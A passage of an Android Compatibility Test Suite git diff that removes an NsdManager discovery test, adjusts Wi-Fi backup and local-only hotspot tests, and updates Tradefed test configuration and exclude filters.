-                    mEventCache.wait(TIMEOUT - elapsedTime);
-                    elapsedTime = android.os.SystemClock.uptimeMillis() - startTime;
-                }
-                // we exited the loop because of TIMEOUT; fail the call
-                if (DBG) Log.d(TAG, "timed out waiting id=" + String.valueOf(mWaitId));
-                return null;
-            } catch (InterruptedException e) {
-                return null;                       // wait timed out!
-            }
-        }
-    }
-
-    private EventData waitForNewEvents() throws InterruptedException {
-        if (DBG) Log.d(TAG, "Waiting for a bit, id=" + String.valueOf(mWaitId));
-
-        long startTime = android.os.SystemClock.uptimeMillis();
-        long elapsedTime = 0;
-        synchronized (mEventCache) {
-            int index = mEventCache.size();
-            while (elapsedTime < TIMEOUT ) {
-                // first check if we've received that event
-                for (; index < mEventCache.size(); index++) {
-                    EventData e = mEventCache.get(index);
-                    return e;
-                }
-
-                // Not yet received, just wait
-                mEventCache.wait(TIMEOUT - elapsedTime);
-                elapsedTime = android.os.SystemClock.uptimeMillis() - startTime;
-            }
-        }
-
-        return null;
-    }
-
-    private String mServiceName;
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        if (DBG) Log.d(TAG, "Setup test ...");
-        mNsdManager = (NsdManager) getContext().getSystemService(Context.NSD_SERVICE);
-
-        Random rand = new Random();
-        mServiceName = new String("NsdTest");
-        for (int i = 0; i < 4; i++) {
-            mServiceName = mServiceName + String.valueOf(rand.nextInt(10));
-        }
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        if (DBG) Log.d(TAG, "Tear down test ...");
-        super.tearDown();
-    }
-
-    public void testNDSManager() throws Exception {
-        EventData lastEvent = null;
-
-        if (DBG) Log.d(TAG, "Starting test ...");
-
-        NsdServiceInfo si = new NsdServiceInfo();
-        si.setServiceType(SERVICE_TYPE);
-        si.setServiceName(mServiceName);
-
-        byte testByteArray[] = new byte[] {-128, 127, 2, 1, 0, 1, 2};
-        String String256 = "1_________2_________3_________4_________5_________6_________" +
-                 "7_________8_________9_________10________11________12________13________" +
-                 "14________15________16________17________18________19________20________" +
-                 "21________22________23________24________25________123456";
-
-        // Illegal attributes
-        try {
-            si.setAttribute(null, (String) null);
-            fail("Could set null key");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("", (String) null);
-            fail("Could set empty key");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute(String256, (String) null);
-            fail("Could set key with 255 characters");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("key", String256.substring(3));
-            fail("Could set key+value combination with more than 255 characters");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("key", String256.substring(4));
-            fail("Could set key+value combination with 255 characters");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute(new String(new byte[]{0x19}), (String) null);
-            fail("Could set key with invalid character");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("=", (String) null);
-            fail("Could set key with invalid character");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute(new String(new byte[]{0x7F}), (String) null);
-            fail("Could set key with invalid character");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        // Allowed attributes
-        si.setAttribute("booleanAttr", (String) null);
-        si.setAttribute("keyValueAttr", "value");
-        si.setAttribute("keyEqualsAttr", "=");
-        si.setAttribute(" whiteSpaceKeyValueAttr ", " value ");
-        si.setAttribute("binaryDataAttr", testByteArray);
-        si.setAttribute("nullBinaryDataAttr", (byte[]) null);
-        si.setAttribute("emptyBinaryDataAttr", new byte[]{});
-        si.setAttribute("longkey", String256.substring(9));
-
-        ServerSocket socket;
-        int localPort;
-
-        try {
-            socket = new ServerSocket(0);
-            localPort = socket.getLocalPort();
-            si.setPort(localPort);
-        } catch (IOException e) {
-            if (DBG) Log.d(TAG, "Could not open a local socket");
-            assertTrue(false);
-            return;
-        }
-
-        if (DBG) Log.d(TAG, "Port = " + String.valueOf(localPort));
-
-        clearEventCache();
-
-        mNsdManager.registerService(si, NsdManager.PROTOCOL_DNS_SD, mRegistrationListener);
-        lastEvent = waitForCallback("onServiceRegistered");                 // id = 1
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-        assertTrue(eventCacheSize() == 1);
-
-        // We may not always get the name that we tried to register;
-        // This events tells us the name that was registered.
-        String registeredName = lastEvent.mInfo.getServiceName();
-        si.setServiceName(registeredName);
-
-        clearEventCache();
-
-        mNsdManager.discoverServices(SERVICE_TYPE, NsdManager.PROTOCOL_DNS_SD,
-                mDiscoveryListener);
-
-        // Expect discovery started
-        lastEvent = waitForCallback("onDiscoveryStarted");                  // id = 2
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        // Remove this event, so accounting becomes easier later
-        synchronized (mEventCache) {
-            mEventCache.remove(lastEvent);
-        }
-
-        // Expect a service record to be discovered (and filter the ones
-        // that are unrelated to this test)
-        boolean found = false;
-        for (int i = 0; i < 32; i++) {
-
-            lastEvent = waitForCallback("onServiceFound");                  // id = 3
-            if (lastEvent == null) {
-                // no more onServiceFound events are being reported!
-                break;
-            }
-
-            assertTrue(lastEvent.mSucceeded);
-
-            if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
-                    lastEvent.mInfo.getServiceName());
-
-            if (lastEvent.mInfo.getServiceName().equals(registeredName)) {
-                // Save it, as it will get overwritten with new serviceFound events
-                si = lastEvent.mInfo;
-                found = true;
-            }
-
-            // Remove this event from the event cache, so it won't be found by subsequent
-            // calls to waitForCallback
-            synchronized (mEventCache) {
-                mEventCache.remove(lastEvent);
-            }
-        }
-
-        assertTrue(found);
-
-        // We've removed all serviceFound events, and we've removed the discoveryStarted
-        // event as well, so now the event cache should be empty!
-        assertTrue(eventCacheSize() == 0);
-
-        // Resolve the service
-        clearEventCache();
-        mNsdManager.resolveService(si, mResolveListener);
-        lastEvent = waitForCallback("onServiceResolved");                   // id = 4
-
-        assertNotNull(mResolvedService);
-
-        // Check Txt attributes
-        assertEquals(8, mResolvedService.getAttributes().size());
-        assertTrue(mResolvedService.getAttributes().containsKey("booleanAttr"));
-        assertNull(mResolvedService.getAttributes().get("booleanAttr"));
-        assertEquals("value", new String(mResolvedService.getAttributes().get("keyValueAttr")));
-        assertEquals("=", new String(mResolvedService.getAttributes().get("keyEqualsAttr")));
-        assertEquals(" value ", new String(mResolvedService.getAttributes()
-                .get(" whiteSpaceKeyValueAttr ")));
-        assertEquals(String256.substring(9), new String(mResolvedService.getAttributes()
-                .get("longkey")));
-        assertTrue(Arrays.equals(testByteArray,
-                mResolvedService.getAttributes().get("binaryDataAttr")));
-        assertTrue(mResolvedService.getAttributes().containsKey("nullBinaryDataAttr"));
-        assertNull(mResolvedService.getAttributes().get("nullBinaryDataAttr"));
-        assertTrue(mResolvedService.getAttributes().containsKey("emptyBinaryDataAttr"));
-        assertNull(mResolvedService.getAttributes().get("emptyBinaryDataAttr"));
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": Port = " +
-                String.valueOf(lastEvent.mInfo.getPort()));
-
-        assertTrue(lastEvent.mInfo.getPort() == localPort);
-        assertTrue(eventCacheSize() == 1);
-
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        // Unregister the service
-        mNsdManager.unregisterService(mRegistrationListener);
-        lastEvent = waitForCallback("onServiceUnregistered");               // id = 5
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        // Expect a callback for service lost
-        lastEvent = waitForCallback("onServiceLost");                       // id = 6
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mInfo.getServiceName().equals(registeredName));
-
-        // Register service again to see if we discover it
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        si = new NsdServiceInfo();
-        si.setServiceType(SERVICE_TYPE);
-        si.setServiceName(mServiceName);
-        si.setPort(localPort);
-
-        // Create a new registration listener and register same service again
-        initRegistrationListener();
-
-        mNsdManager.registerService(si, NsdManager.PROTOCOL_DNS_SD, mRegistrationListener);
-
-        lastEvent = waitForCallback("onServiceRegistered");                 // id = 7
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        registeredName = lastEvent.mInfo.getServiceName();
-
-        // Expect a record to be discovered
-        // Expect a service record to be discovered (and filter the ones
-        // that are unrelated to this test)
-        found = false;
-        for (int i = 0; i < 32; i++) {
-
-            lastEvent = waitForCallback("onServiceFound");                  // id = 8
-            if (lastEvent == null) {
-                // no more onServiceFound events are being reported!
-                break;
-            }
-
-            assertTrue(lastEvent.mSucceeded);
-
-            if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
-                    lastEvent.mInfo.getServiceName());
-
-            if (lastEvent.mInfo.getServiceName().equals(registeredName)) {
-                // Save it, as it will get overwritten with new serviceFound events
-                si = lastEvent.mInfo;
-                found = true;
-            }
-
-            // Remove this event from the event cache, so it won't be found by subsequent
-            // calls to waitForCallback
-            synchronized (mEventCache) {
-                mEventCache.remove(lastEvent);
-            }
-        }
-
-        assertTrue(found);
-
-        // Resolve the service
-        clearEventCache();
-        mNsdManager.resolveService(si, mResolveListener);
-        lastEvent = waitForCallback("onServiceResolved");                   // id = 9
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
-                lastEvent.mInfo.getServiceName());
-
-        assertTrue(lastEvent.mInfo.getServiceName().equals(registeredName));
-
-        assertNotNull(mResolvedService);
-
-        // Check that we don't have any TXT records
-        assertEquals(0, mResolvedService.getAttributes().size());
-
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        mNsdManager.stopServiceDiscovery(mDiscoveryListener);
-        lastEvent = waitForCallback("onDiscoveryStopped");                  // id = 10
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-        assertTrue(checkCacheSize(1));
-
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        mNsdManager.unregisterService(mRegistrationListener);
-
-        lastEvent =  waitForCallback("onServiceUnregistered");              // id = 11
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-        assertTrue(checkCacheSize(1));
-    }
-
-    boolean checkCacheSize(int size) {
-        synchronized (mEventCache) {
-            int cacheSize = mEventCache.size();
-            if (cacheSize != size) {
-                Log.d(TAG, "id = " + mWaitId + ": event cache size = " + cacheSize);
-                for (int i = 0; i < cacheSize; i++) {
-                    EventData e = mEventCache.get(i);
-                    String sname = (e.mInfo != null) ? "(" + e.mInfo.getServiceName() + ")" : "";
-                    Log.d(TAG, "eventName is " + e.mCallbackName + sname);
-                }
-            }
-            return (cacheSize == size);
-        }
-    }
-
-    boolean checkForAdditionalEvents() {
-        try {
-            EventData e = waitForNewEvents();
-            if (e != null) {
-                String sname = (e.mInfo != null) ? "(" + e.mInfo.getServiceName() + ")" : "";
-                Log.d(TAG, "ignoring unexpected event " + e.mCallbackName + sname);
-            }
-            return (e == null);
-        }
-        catch (InterruptedException ex) {
-            return false;
-        }
-    }
-}
-
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
index 1d2bd2a..ae2ad6f 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
@@ -35,6 +35,7 @@
 import android.net.Uri;
 import android.net.wifi.SoftApConfiguration;
 import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiEnterpriseConfig;
 import android.net.wifi.WifiManager;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiDevice;
@@ -165,6 +166,13 @@
         }
     }
 
+    /** WifiConfiguration#isEnterprise() is @hide, so copy/paste partial implementation here. */
+    private static boolean isEnterprise(WifiConfiguration config) {
+        WifiEnterpriseConfig enterpriseConfig = config.enterpriseConfig;
+        return enterpriseConfig != null
+                && enterpriseConfig.getEapMethod() != WifiEnterpriseConfig.Eap.NONE;
+    }
+
     /**
      * Tests for {@link WifiManager#retrieveBackupData()} &
      * {@link WifiManager#restoreBackupData(byte[])}
@@ -180,16 +188,20 @@
         try {
             uiAutomation.adoptShellPermissionIdentity();
 
-            // Pick any saved network to modify;
+            // Pick a regular saved network to modify (non-enterprise, non-Passpoint)
             origNetwork = mWifiManager.getConfiguredNetworks().stream()
-                    .filter(n -> mContext.checkPermission(
-                            android.Manifest.permission.OVERRIDE_WIFI_CONFIG, -1, n.creatorUid)
-                            == PERMISSION_GRANTED)
+                    .filter(n -> {
+                        boolean canOverrideConfig = mContext.checkPermission(
+                                android.Manifest.permission.OVERRIDE_WIFI_CONFIG, -1, n.creatorUid)
+                                == PERMISSION_GRANTED;
+                        return canOverrideConfig && !isEnterprise(n) && !n.isPasspoint();
+                    })
                     .findAny()
                     .orElse(null);
             if (origNetwork == null) {
-                Log.e(TAG, "Need a network created by an app holding OVERRIDE_WIFI_CONFIG "
-                        + "permission to fully evaluate the functionality");
+                Log.e(TAG, "Need a non-enterprise and non-Passpoint network created by an app "
+                        + "holding OVERRIDE_WIFI_CONFIG permission to fully evaluate the "
+                        + "functionality");
             }
 
             // Retrieve backup data.
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index e8c5c27..fdeb48c 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -41,7 +41,6 @@
 import android.net.NetworkRequest;
 import android.net.TetheringManager;
 import android.net.Uri;
-import android.net.util.MacAddressUtils;
 import android.net.wifi.ScanResult;
 import android.net.wifi.SoftApCapability;
 import android.net.wifi.SoftApConfiguration;
@@ -76,6 +75,7 @@
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.net.module.util.MacAddressUtils;
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
@@ -817,8 +817,9 @@
             int securityType = softApConfig.getSecurityType();
             if (securityType == SoftApConfiguration.SECURITY_TYPE_OPEN
                 || securityType == SoftApConfiguration.SECURITY_TYPE_WPA2_PSK) {
-                 assertNotNull(softApConfig.toWifiConfiguration());
-            } else {
+                // TODO: b/165504232, add WPA3_SAE_TRANSITION assert check
+                assertNotNull(softApConfig.toWifiConfiguration());
+            } else if (securityType == SoftApConfiguration.SECURITY_TYPE_WPA3_SAE) {
                 assertNull(softApConfig.toWifiConfiguration());
             }
             if (!hasAutomotiveFeature()) {
@@ -976,7 +977,7 @@
         }
     }
 
-    public void testStartLocalOnlyHotspotWithConfig() throws Exception {
+    public void testStartLocalOnlyHotspotWithConfigBssid() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
             return;
@@ -998,8 +999,58 @@
 
             boolean wifiEnabled = mWifiManager.isWifiEnabled();
             mWifiManager.startLocalOnlyHotspot(customConfig, executor, callback);
-            Log.d(TAG, "Sleeping for 2 seconds");
-            Thread.sleep(2000);
+            // now wait for callback
+            Thread.sleep(TEST_WAIT_DURATION_MS);
+
+            // Verify callback is run on the supplied executor
+            assertFalse(callback.onStartedCalled);
+            executor.runAll();
+            if (callback.onFailedCalled) {
+                // TODO: b/160752000, customize bssid might not support.
+                // Allow the specific error code.
+                assertEquals(callback.failureReason,
+                        WifiManager.SAP_START_FAILURE_UNSUPPORTED_CONFIGURATION);
+            } else {
+                assertTrue(callback.onStartedCalled);
+
+                assertNotNull(callback.reservation);
+                SoftApConfiguration softApConfig = callback.reservation.getSoftApConfiguration();
+                assertNotNull(softApConfig);
+                assertEquals(TEST_MAC, softApConfig.getBssid());
+                assertEquals(TEST_SSID_UNQUOTED, softApConfig.getSsid());
+                assertEquals(TEST_PASSPHRASE, softApConfig.getPassphrase());
+
+                // clean up
+                stopLocalOnlyHotspot(callback, wifiEnabled);
+            }
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    public void testStartLocalOnlyHotspotWithNullBssidConfig() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        // check that softap mode is supported by the device
+        if (!mWifiManager.isPortableHotspotSupported()) {
+            return;
+        }
+        SoftApConfiguration customConfig = new SoftApConfiguration.Builder()
+                .setSsid(TEST_SSID_UNQUOTED)
+                .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+                .build();
+        TestExecutor executor = new TestExecutor();
+        TestLocalOnlyHotspotCallback callback = new TestLocalOnlyHotspotCallback(mLock);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+
+            boolean wifiEnabled = mWifiManager.isWifiEnabled();
+            mWifiManager.startLocalOnlyHotspot(customConfig, executor, callback);
+            // now wait for callback
+            Thread.sleep(TEST_WAIT_DURATION_MS);
 
             // Verify callback is run on the supplied executor
             assertFalse(callback.onStartedCalled);
@@ -1009,7 +1060,6 @@
             assertNotNull(callback.reservation);
             SoftApConfiguration softApConfig = callback.reservation.getSoftApConfiguration();
             assertNotNull(softApConfig);
-            assertEquals(TEST_MAC, softApConfig.getBssid());
             assertEquals(TEST_SSID_UNQUOTED, softApConfig.getSsid());
             assertEquals(TEST_PASSPHRASE, softApConfig.getPassphrase());
 
@@ -2100,13 +2150,17 @@
         boolean isStaApConcurrencySupported = mWifiManager.isStaApConcurrencySupported();
         // start local only hotspot.
         TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
-        if (isStaApConcurrencySupported) {
-            assertTrue(mWifiManager.isWifiEnabled());
-        } else {
-            // no concurrency, wifi should be disabled.
-            assertFalse(mWifiManager.isWifiEnabled());
+        try {
+            if (isStaApConcurrencySupported) {
+                assertTrue(mWifiManager.isWifiEnabled());
+            } else {
+                // no concurrency, wifi should be disabled.
+                assertFalse(mWifiManager.isWifiEnabled());
+            }
+        } finally {
+            // clean up local only hotspot no matter if assertion passed or failed
+            stopLocalOnlyHotspot(callback, true);
         }
-        stopLocalOnlyHotspot(callback, true);
 
         assertTrue(mWifiManager.isWifiEnabled());
     }
@@ -2356,11 +2410,20 @@
         // assert that the country code is all uppercase
         assertEquals(wifiCountryCode.toUpperCase(Locale.US), wifiCountryCode);
 
-        if (WifiFeature.isTelephonySupported(getContext())) {
-            String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
-                    .getNetworkCountryIso();
-            assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
+        // skip if Telephony is unsupported
+        if (!WifiFeature.isTelephonySupported(getContext())) {
+            return;
         }
+
+        String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
+                .getNetworkCountryIso();
+
+        // skip if Telephony country code is unavailable
+        if (telephonyCountryCode == null || telephonyCountryCode.isEmpty()) {
+            return;
+        }
+
+        assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
     }
 
     /**
diff --git a/tools/cts-tradefed/res/config/cts-automated.xml b/tools/cts-tradefed/res/config/cts-automated.xml
index 150f8b9..80bcea7 100644
--- a/tools/cts-tradefed/res/config/cts-automated.xml
+++ b/tools/cts-tradefed/res/config/cts-automated.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Runs CTS with common options set for an automated run on userdebug/eng builds">
 
+    <!-- template hook to allow users to attach additional target preparers -->
+    <template-include name="preparers" default="empty" />
+
     <include name="cts" />
 
     <option name="plan" value="cts" />
diff --git a/tools/cts-tradefed/res/config/cts-meerkat.xml b/tools/cts-tradefed/res/config/cts-meerkat.xml
index 99ac0ee..c95efe1 100644
--- a/tools/cts-tradefed/res/config/cts-meerkat.xml
+++ b/tools/cts-tradefed/res/config/cts-meerkat.xml
@@ -22,6 +22,15 @@
     <!-- Disable instant tests -->
     <option name="compatibility:enable-parameterized-modules" value="false" />
 
+    <!-- Status bar, trampolines & close system dialogs -->
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.StatusBarManagerTest#testCollapsePanels_withoutStatusBarPermission_throws"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.StatusBarManagerTest#testCollapsePanels_withStatusBarPermission_doesNotThrow"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnBroadcastTrampoline_isBlocked"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnServiceTrampoline_isBlocked"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnBroadcastTrampoline_whenApi30_isAllowed"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnServiceTrampoline_whenApi30_isAllowed"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.CloseSystemDialogsTest"/>
+
     <!-- Overlays & touches -->
     <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.WindowInputTests"/>
     <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.WindowUntrustedTouchTest"/>
@@ -29,6 +38,7 @@
 
     <!-- System Alert Window (SAW) -->
     <option name="compatibility:include-filter" value="CtsSystemIntentTestCases"/>
+    <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.HideOverlayWindowsTest"/>
     <option name="compatibility:include-filter" value="CtsMediaTestCases android.media.cts.MediaProjectionTest"/>
 
     <!-- Toasts -->
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index e369dfa..2e576cd 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -59,9 +59,6 @@
     <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOptionsMenuKey" />
     <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityKeyboardShortcutsTest#testRequestShowKeyboardShortcuts" />
 
-    <!-- b/71958344: Exclude until CTS releases it -->
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.OverlayHostTest#testInstallingOverlayHasNoEffect" />
-
     <!-- b/161837932: Fix MediaPlayerTests that use "too small" resolution -->
     <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testOnSubtitleDataListener" />
     <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testChangeSubtitleTrack" />
@@ -126,9 +123,6 @@
     <!-- b/110417203: Flaky tests -->
     <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidTagStateDetails" />
 
-    <!-- b/80077786: MyVerizonServices fail -->
-    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest#testPrivappPermissionsEnforcement" />
-
     <!-- b/111101428: CtsOsTestCases irrelevant test cases -->
     <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.BuildTest#testIsSecureUserBuild" />
     <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.BuildVersionTest#testBuildFingerprint" />
@@ -255,4 +249,7 @@
 
     <!-- b/153032202: CtsSystemUiTestCases (10_r3 waiver) -->
     <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.WindowInsetsBehaviorTests#swipeOutsideLimit_systemUiVisible_allEventsCanceled"/>
+
+    <!-- b/173662175: CtsStatsdHostTestCases due to insufficient processes running -->
+    <option name="compatibility:exclude-filter" value="CtsStatsdHostTestCases android.cts.statsd.validation.ProcStatsValidationTests#testProcessStatePssValue"/>
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-unit-tests.xml b/tools/cts-tradefed/res/config/cts-unit-tests.xml
index a80a244..9f30011 100644
--- a/tools/cts-tradefed/res/config/cts-unit-tests.xml
+++ b/tools/cts-tradefed/res/config/cts-unit-tests.xml
@@ -17,9 +17,6 @@
     <option name="null-device" value="true" />
     <build_provider class="com.android.tradefed.build.StubBuildProvider" />
     <test class="com.android.tradefed.testtype.HostTest" >
-        <option name="class" value="com.android.compatibility.common.tradefed.UnitTests" />
-        <option name="class" value="com.android.compatibility.common.util.HostUnitTests" />
-        <option name="class" value="com.android.compatibility.common.util.UnitTests" />
         <option name="class" value="com.android.compatibility.tradefed.CtsUnitTests" />
         <option name="class" value="com.drawelements.deqp.runner.DeqpTestRunnerTest" />
     </test>
diff --git a/tools/cts-tradefed/tests/.classpath b/tools/cts-tradefed/tests/.classpath
index 2226a16..bd4f759 100644
--- a/tools/cts-tradefed/tests/.classpath
+++ b/tools/cts-tradefed/tests/.classpath
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <classpath>
-	<classpathentry kind="src" path="src"/>
+	<classpathentry excluding="Android.bp" kind="src" path="src"/>
 	<classpathentry combineaccessrules="false" kind="src" path="/tradefederation"/>
 	<classpathentry combineaccessrules="false" kind="src" path="/cts-tradefed"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-9">
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/DupFileTest.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/DupFileTest.java
index 7701279..c4055ef 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/DupFileTest.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/DupFileTest.java
@@ -56,8 +56,7 @@
     // Temporarily exclude some Tradefed jar while we work on unbundling them.
     private static final Set<String> IGNORE_JARS =
             ImmutableSet.of("tradefed-no-fwk.jar", "tradefed-test-framework.jar",
-                    "compatibility-tradefed-tests.jar",
-                    "compatibility-common-util-tests.jar", "compatibility-host-util-tests.jar");
+                    "compatibility-tradefed.jar");
 
     /** test if there are duplicate files in different jars. */
     @Test
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
index 9fd38ad..93fe49c 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -79,6 +79,21 @@
          * and embed native libraries.
          */
         MODULE_EXCEPTIONS.add("CtsExtractNativeLibsAppFalse64");
+
+
+        /**
+         * This module builds security exploits that may only be feasible on a specific bitness.
+         * It uses a special file pusher that pushes 32-bit only files to both 32-bit and 64-bit
+         * devices and 64-bit files to only 64-bit devices. Part of STS.
+         */
+        MODULE_EXCEPTIONS.add("CtsSecurityBulletinHostTestCases");
+
+        /**
+         * This module builds security exploits that may only be feasible on a specific bitness.
+         * It uses a special file pusher that pushes 32-bit only files to both 32-bit and 64-bit
+         * devices and 64-bit files to only 64-bit devices. Part of STS.
+         */
+        MODULE_EXCEPTIONS.add("StsHostTestCases");
     }
 
     private static final Set<String> BINARY_EXCEPTIONS = new HashSet<>();
diff --git a/tools/vm-tests-tf/TEST_MAPPING b/tools/vm-tests-tf/TEST_MAPPING
index a566107..4fbca3b 100644
--- a/tools/vm-tests-tf/TEST_MAPPING
+++ b/tools/vm-tests-tf/TEST_MAPPING
@@ -1,5 +1,5 @@
 {
-  "presubmit": [
+  "presubmit-large": [
     {
       "name": "vm-tests-tf"
     }